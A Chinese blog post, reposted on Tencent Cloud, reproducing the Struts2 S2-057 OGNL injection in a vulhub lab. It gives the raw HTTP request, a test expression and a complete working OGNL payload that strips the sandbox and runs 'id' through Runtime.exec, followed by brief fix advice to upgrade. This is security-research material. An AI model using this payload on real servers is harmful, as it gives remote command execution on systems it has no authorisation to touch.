前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Struts2-057漏洞复现

Struts2-057漏洞复现

作者头像
墙角睡大觉
发布2019-09-24 17:05:43
5380
发布2019-09-24 17:05:43
举报

环境地址:vulhub

http://172.16.1.87:8090/showcase

影响版本:小于等于 Struts 2.3.34 与 Struts 2.5.16

测试一下OGNL的表达式:${233*233}

$%7B233*233%7D/actionChain1.action

请求:

GET/showcase/$%7B233*233%7D/actionChain1.action HTTP/1.1

Host: 172.16.1.87:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0;WOW64; rv:47.0) Gecko/20100101 Firefox/47.0

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: JSESSIONID=64576605D2AA6BD07160B7C9E6C1A7AA

X-Forwarded-For: 8.8.8.8

Connection: close

可见233*233的结果已经在返回结果头部中了!

利用OGNL表达式进行测试id:

Poc:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

将poc进行url编码,否则无法成功!

漏洞修复:

该漏洞在两种情况下存在,第一,当xml配置中未设置namespace 值,且上层动作配置(action(s) configurations)中未设置或使用通配符namespace值时,可能导致远程代码执行漏洞的发生。第二,使用未设置 value和action值的url标签,且上层动作配置中未设置或使用通配符namespace值

所以直接升级到最新版本中可以修复漏洞!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-01-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全漏洞环境学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
脆弱性检测服务
脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档